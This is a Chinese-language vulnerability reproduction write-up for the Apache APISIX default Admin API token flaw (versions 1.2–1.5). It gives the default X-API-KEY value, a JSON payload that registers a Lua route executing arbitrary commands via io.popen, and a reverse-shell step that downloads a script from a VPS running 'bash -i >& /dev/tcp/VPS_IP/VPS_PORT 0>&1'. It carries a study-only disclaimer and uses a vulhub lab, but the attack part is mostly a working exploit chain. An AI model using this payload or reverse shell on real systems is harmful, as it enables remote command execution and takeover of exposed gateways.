目录
- 漏洞描述
- 影响版本
- 漏洞复现
声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。
漏洞描述
Apache APISIX 是一个动态、实时、高性能的 API 网关,基于 Nginx 网络库和 etcd 实现, 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。当使用者开启了Admin API,没有配置相应的IP访问策略,且没有修改配置文件Token的情况下,则攻击者利用Apache APISIX的默认Token即可访问Apache APISIX,从而控制APISIX网关。
影响版本
Apache APISIX 1.2
Apache APISIX 1.3
Apache APISIX 1.4
Apache APISIX 1.5
漏洞复现
该漏洞环境搭建,依然通过vulhub,不再赘述。
访问一下http://192.168.10.171:9080/apisix/admin/routes,说明开启了/apisix/admin/routes
抓取该报文,做如下修改
1、请求方法改为POST
2、加上参数X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
3、加上payload
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
然后,访问刚才添加的router,并通过cmd参数执行任意命令
接下来,我们来演示将内网的这台服务器,反向连接到VPS上
首先,VPS上编写反弹shell脚本 bash -i >& /dev/tcp/VPS_IP/VPS_PORT 0>&1,然后在使用python起一个http服务:python3 -m http.server
下载test.sh脚本文件
接下来,执行test.sh脚本文件
VPS上查看反弹结果